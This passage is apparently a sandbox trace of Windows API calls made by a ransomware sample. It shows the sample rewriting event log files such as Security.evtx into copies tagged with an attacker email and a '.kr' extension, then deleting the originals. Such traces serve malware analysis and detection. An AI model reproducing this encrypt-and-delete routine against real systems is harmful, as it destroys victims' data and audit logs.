lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.905] lstrlenW (lpString=".rar") returned 4 [0103.905] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.905] lstrlenW (lpString=".bz2") returned 4 [0103.905] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.905] lstrlenW (lpString=".7z") returned 3 [0103.905] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.905] lstrlenW (lpString=".dbf") returned 4 [0103.905] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.905] lstrlenW (lpString=".1cd") returned 4 [0103.905] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.905] lstrlenW (lpString=".jpg") returned 4 [0103.905] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.905] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.905] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0103.905] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.909] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0103.909] CloseHandle (hObject=0x340) returned 1 [0103.909] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0103.909] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.909] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.909] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.909] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.910] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0103.910] GetLastError () returned 0x0 [0103.910] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0104.254] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0104.256] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.257] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x160, lpOverlapped=0x0) returned 1 [0104.257] SetEndOfFile (hFile=0x394) returned 1 [0105.114] CloseHandle (hObject=0x394) returned 1 [0105.117] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.117] SetEndOfFile (hFile=0x340) returned 1 [0105.118] CloseHandle (hObject=0x340) returned 1 [0105.119] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.119] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0105.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.119] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.119] lstrlenW (lpString=".doc") returned 4 [0105.119] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.119] lstrlenW (lpString=".docx") returned 5 [0105.119] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.119] lstrlenW (lpString=".pdf") returned 4 [0105.119] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString=".xls") returned 4 [0105.120] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString=".xlsx") returned 5 [0105.120] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.120] lstrlenW (lpString=".ppt") returned 4 [0105.120] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.120] lstrlenW (lpString=".zip") returned 4 [0105.120] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString=".rar") returned 4 [0105.120] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString=".bz2") returned 4 [0105.120] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString=".7z") returned 3 [0105.120] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.120] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.120] lstrlenW (lpString=".dbf") returned 4 [0105.120] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.120] lstrlenW (lpString=".1cd") returned 4 [0105.120] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.120] lstrlenW (lpString=".jpg") returned 4 [0105.120] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.120] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.121] lstrlenW (lpString=".doc") returned 4 [0105.121] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.121] lstrlenW (lpString=".docx") returned 5 [0105.121] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.121] lstrlenW (lpString=".pdf") returned 4 [0105.121] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.121] lstrlenW (lpString=".xls") returned 4 [0105.121] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.121] lstrlenW (lpString=".xlsx") returned 5 [0105.122] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.122] lstrlenW (lpString=".ppt") returned 4 [0105.122] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.122] lstrlenW (lpString=".zip") returned 4 [0105.122] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.122] lstrlenW (lpString=".rar") returned 4 [0105.122] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.122] lstrlenW (lpString=".bz2") returned 4 [0105.122] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.122] lstrlenW (lpString=".7z") returned 3 [0105.122] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.122] lstrlenW (lpString=".dbf") returned 4 [0105.122] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.122] lstrlenW (lpString=".1cd") returned 4 [0105.122] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0105.122] lstrlenW (lpString=".jpg") returned 4 [0105.122] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.122] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.123] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0105.123] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0105.123] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0105.123] CloseHandle (hObject=0x340) returned 1 [0105.123] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0105.123] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.123] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0105.123] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.123] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.124] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.141] GetLastError () returned 0x0 [0105.141] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.145] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.147] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.147] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x178, lpOverlapped=0x0) returned 1 [0105.147] SetEndOfFile (hFile=0x394) returned 1 [0105.460] CloseHandle (hObject=0x394) returned 1 [0105.463] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.464] SetEndOfFile (hFile=0x340) returned 1 [0105.465] CloseHandle (hObject=0x340) returned 1 [0105.465] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.466] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0105.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.466] lstrlenW (lpString=".doc") returned 4 [0105.466] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.466] lstrlenW (lpString=".docx") returned 5 [0105.466] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.466] lstrlenW (lpString=".pdf") returned 4 [0105.467] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.467] lstrlenW (lpString=".xls") returned 4 [0105.467] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.467] lstrlenW (lpString=".xlsx") returned 5 [0105.467] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.467] lstrlenW (lpString=".ppt") returned 4 [0105.467] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.467] lstrlenW (lpString=".zip") returned 4 [0105.467] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.467] lstrlenW (lpString=".rar") returned 4 [0105.467] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.467] lstrlenW (lpString=".bz2") returned 4 [0105.467] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.467] lstrlenW (lpString=".7z") returned 3 [0105.467] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.467] lstrlenW (lpString=".dbf") returned 4 [0105.467] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.467] lstrlenW (lpString=".1cd") returned 4 [0105.467] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.467] lstrlenW (lpString=".jpg") returned 4 [0105.467] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.468] lstrlenW (lpString=".doc") returned 4 [0105.468] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.468] lstrlenW (lpString=".docx") returned 5 [0105.468] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.468] lstrlenW (lpString=".pdf") returned 4 [0105.468] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.468] lstrlenW (lpString=".xls") returned 4 [0105.468] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.468] lstrlenW (lpString=".xlsx") returned 5 [0105.468] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.468] lstrlenW (lpString=".ppt") returned 4 [0105.468] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.468] lstrlenW (lpString=".zip") returned 4 [0105.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.468] lstrlenW (lpString=".rar") returned 4 [0105.468] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.468] lstrlenW (lpString=".bz2") returned 4 [0105.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.468] lstrlenW (lpString=".7z") returned 3 [0105.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.469] lstrlenW (lpString=".dbf") returned 4 [0105.469] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.469] lstrlenW (lpString=".1cd") returned 4 [0105.469] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0105.469] lstrlenW (lpString=".jpg") returned 4 [0105.469] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.469] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.469] lstrlenW (lpString="Security.evtx") returned 13 [0105.469] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0105.470] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=1118208) returned 1 [0105.470] CloseHandle (hObject=0x340) returned 1 [0105.470] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0105.470] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\security.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.470] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0105.470] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.470] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.470] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\security.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.473] GetLastError () returned 0x0 [0105.474] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0105.504] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0105.916] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11010, lpOverlapped=0x0) returned 1 [0105.926] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11020, lpOverlapped=0x0) returned 1 [0105.931] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.931] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xee, lpOverlapped=0x0) returned 1 [0105.931] SetEndOfFile (hFile=0x394) returned 1 [0105.931] CloseHandle (hObject=0x394) returned 1 [0106.237] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.237] SetEndOfFile (hFile=0x340) returned 1 [0106.241] CloseHandle (hObject=0x340) returned 1 [0106.241] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.241] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0106.242] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.242] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.242] lstrlenW (lpString=".doc") returned 4 [0106.242] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.242] lstrlenW (lpString=".docx") returned 5 [0106.242] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.242] lstrlenW (lpString=".pdf") returned 4 [0106.242] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.242] lstrlenW (lpString=".xls") returned 4 [0106.242] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.242] lstrlenW (lpString=".xlsx") returned 5 [0106.242] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.242] lstrlenW (lpString=".ppt") returned 4 [0106.242] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.242] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.242] lstrlenW (lpString=".zip") returned 4 [0106.242] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.242] lstrlenW (lpString=".rar") returned 4 [0106.242] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.243] lstrlenW (lpString=".bz2") returned 4 [0106.243] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.243] lstrlenW (lpString=".7z") returned 3 [0106.243] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.243] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.243] lstrlenW (lpString=".dbf") returned 4 [0106.243] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.243] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.243] lstrlenW (lpString=".1cd") returned 4 [0106.243] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.243] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.243] lstrlenW (lpString=".jpg") returned 4 [0106.243] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.243] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.243] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.243] lstrlenW (lpString=".doc") returned 4 [0106.243] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.243] lstrlenW (lpString=".docx") returned 5 [0106.243] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.243] lstrlenW (lpString=".pdf") returned 4 [0106.243] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.243] lstrlenW (lpString=".xls") returned 4 [0106.243] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.243] lstrlenW (lpString=".xlsx") returned 5 [0106.244] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.244] lstrlenW (lpString=".ppt") returned 4 [0106.244] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.244] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.244] lstrlenW (lpString=".zip") returned 4 [0106.244] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.244] lstrlenW (lpString=".rar") returned 4 [0106.244] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.244] lstrlenW (lpString=".bz2") returned 4 [0106.244] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.244] lstrlenW (lpString=".7z") returned 3 [0106.244] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.244] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.244] lstrlenW (lpString=".dbf") returned 4 [0106.244] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.244] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.244] lstrlenW (lpString=".1cd") returned 4 [0106.244] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.244] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0106.244] lstrlenW (lpString=".jpg") returned 4 [0106.244] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.245] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.245] lstrlenW 